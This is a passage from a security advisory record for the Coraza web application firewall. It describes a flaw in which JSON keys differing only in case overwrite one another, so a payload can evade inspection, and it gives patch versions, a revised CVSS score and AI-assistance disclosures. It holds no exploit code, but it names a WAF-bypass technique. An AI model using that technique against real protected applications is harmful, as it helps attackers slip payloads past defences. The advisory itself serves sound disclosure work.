ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/corazawaf/coraza/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.8.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/corazawaf/coraza"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-436" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T17:45:31Z",
    "nvd_published_at" : null
  }
}